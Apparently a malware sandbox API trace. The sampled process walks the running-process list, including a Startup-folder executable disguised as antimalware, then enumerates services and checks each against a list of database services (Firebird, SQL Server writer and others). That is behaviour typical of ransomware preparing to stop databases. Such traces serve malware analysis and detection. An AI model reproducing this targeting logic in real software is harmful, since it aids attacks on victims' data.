	[0059.866] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0059.867] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0059.867] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0059.868] lstrlenW (lpString="msoia.exe") returned 9
	[0059.868] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0059.868] lstrlenW (lpString="roof.exe") returned 8
	[0059.868] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0059.869] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0059.869] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0059.870] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0059.870] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0059.870] lstrlenW (lpString="cause.exe") returned 9
	[0059.870] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0059.871] lstrlenW (lpString="occasionstax.exe") returned 16
	[0059.871] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0059.872] lstrlenW (lpString="distributors.exe") returned 16
	[0059.872] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0059.872] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0059.872] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0059.873] lstrlenW (lpString="rand.exe") returned 8
	[0059.873] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0059.874] lstrlenW (lpString="unlikely.exe") returned 12
	[0059.874] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0059.874] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0059.875] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0059.875] lstrlenW (lpString="promotion.exe") returned 13
	[0059.875] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0059.877] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0059.877] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0059.878] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0059.878] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0059.879] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0059.879] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0059.880] lstrlenW (lpString="bad-length.exe") returned 14
	[0059.880] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0059.881] lstrlenW (lpString="unit.exe") returned 8
	[0059.881] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0059.881] lstrlenW (lpString="parents.exe") returned 11
	[0059.881] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0059.882] lstrlenW (lpString="charge.exe") returned 10
	[0059.882] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0059.883] lstrlenW (lpString="measures-provision.exe") returned 22
	[0059.883] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0059.884] lstrlenW (lpString="dllhost.exe") returned 11
	[0059.884] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.885] lstrlenW (lpString="conhost.exe") returned 11
	[0059.885] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.885] lstrlenW (lpString="conhost.exe") returned 11
	[0059.886] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0059.886] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0059.886] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0059.887] lstrlenW (lpString="cmd.exe") returned 7
	[0059.887] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.888] lstrlenW (lpString="conhost.exe") returned 11
	[0059.888] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.889] lstrlenW (lpString="svchost.exe") returned 11
	[0059.889] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0059.889] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0059.889] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.890] lstrlenW (lpString="conhost.exe") returned 11
	[0059.890] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.891] lstrlenW (lpString="svchost.exe") returned 11
	[0059.891] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0059.892] lstrlenW (lpString="LogonUI.exe") returned 11
	[0059.892] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0059.892] CloseHandle (hObject=0x384) returned 1
	[0059.893] Sleep (dwMilliseconds=0x1f4) 
	[0060.433] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fe18
	[0060.434] EnumServicesStatusExW (in: hSCManager=0x68fe18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0060.434] GetLastError () returned 0xea
	[0060.434] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x3bfae80
	[0060.434] EnumServicesStatusExW (in: hSCManager=0x68fe18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0060.435] CloseServiceHandle (hSCObject=0x68fe18) returned 1
	[0060.435] lstrlenW (lpString="Appinfo") returned 7
	[0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0060.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0060.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0060.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0060.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0060.435] lstrlenW (lpString="AppXSvc") returned 7
	[0060.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0060.436] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0060.436] lstrlenW (lpString="Audiosrv") returned 8
	[0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0060.436] lstrlenW (lpString="BFE") returned 3
	[0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0060.436] lstrlenW (lpString="BITS") returned 4
	[0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0060.436] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0060.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0060.436] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0060.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0060.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0060.437] lstrlenW (lpString="CDPSvc") returned 6
	[0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0060.437] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0060.437] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0060.437] lstrlenW (lpString="CryptSvc") returned 8
	[0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0060.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0060.437] lstrlenW (lpString="DcomLaunch") returned 10
	[0060.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0060.438] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0060.438] lstrlenW (lpString="Dhcp") returned 4
	[0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0060.438] lstrlenW (lpString="Dnscache") returned 8
	[0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0060.438] lstrlenW (lpString="DoSvc") returned 5
	[0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0060.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0060.438] lstrlenW (lpString="DPS") returned 3
	[0060.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0060.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0060.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0060.439] lstrlenW (lpString="DusmSvc") returned 7
	[0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0060.439] lstrlenW (lpString="EventLog") returned 8
	[0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0060.439] lstrlenW (lpString="EventSystem") returned 11
	[0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0060.439] lstrlenW (lpString="FontCache") returned 9
	[0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0060.439] lstrlenW (lpString="gpsvc") returned 5
	[0060.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0060.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0060.439] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0060.439] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0060.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0060.440] lstrlenW (lpString="iphlpsvc") returned 8
	[0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0060.440] lstrlenW (lpString="KeyIso") returned 6
	[0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0060.440] lstrlenW (lpString="LanmanServer") returned 12
	[0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0060.440] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0060.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0060.440] lstrlenW (lpString="lfsvc") returned 5
